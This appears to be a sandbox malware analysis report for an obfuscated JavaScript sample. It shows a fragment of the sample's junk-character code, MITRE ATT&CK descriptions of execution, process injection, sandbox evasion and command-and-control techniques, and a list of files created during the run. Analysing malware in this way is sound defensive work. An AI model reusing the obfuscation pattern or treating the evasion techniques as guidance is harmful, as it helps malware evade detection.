1411	mkrliju = "n";
1412	mkrliju = "t";
1413	mkrliju = "n";
1414	mkrliju = "v";
1415	mkrliju = "m";
1416	mkrliju = "q";
1417	mkrliju = "b";
1418	mkrliju = "P";
1419	qlrdj = "N";
1420	qlrdj = "U";
1421	qlrdj = "e";
1422	qlrdj = "F";
1423	qlrdj = "y";
1424	qlrdj = "L";
1425	qlrdj = "X";
1426	qlrdj = "C";
1427	qlrdj = "j";
1428	qlrdj = "t";
1429	qlrdj = "J";
1430	qlrdj = "t";
1431	qlrdj = "t";
1432	qlrdj = "v";
1433	qlrdj = "k";
1434	qlrdj = "K";
1435	qlrdj = "t";
1436	qlrdj = "z";
1437	qlrdj = "F";
1438	qlrdj = "P";
1439	qlrdj = "T";
1440	qlrdj = "Y";
1441	gucgc = "G";
1442	gucgc = "v";
1443	gucgc = "K";
1444	gucgc = "X";
1445	gucgc = "n";
1446	gucgc = "R";
1447	gucgc = "u";
1448	gucgc = "W";
1449	gucgc = "k";
1450	gucgc = "A";
1451	gucgc = "s";
1452	gucgc = "D";
1453	gucgc = "D";
1454	gucgc = "Y";
1455	gucgc = "M";
1456	gucgc = "l";
1457	eofqbnyah ( );	eofqbnyah() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 24755260942519232167.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ca4fbfca-2661-4378-8c96-c747a327dc67.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
24755260942519232167.js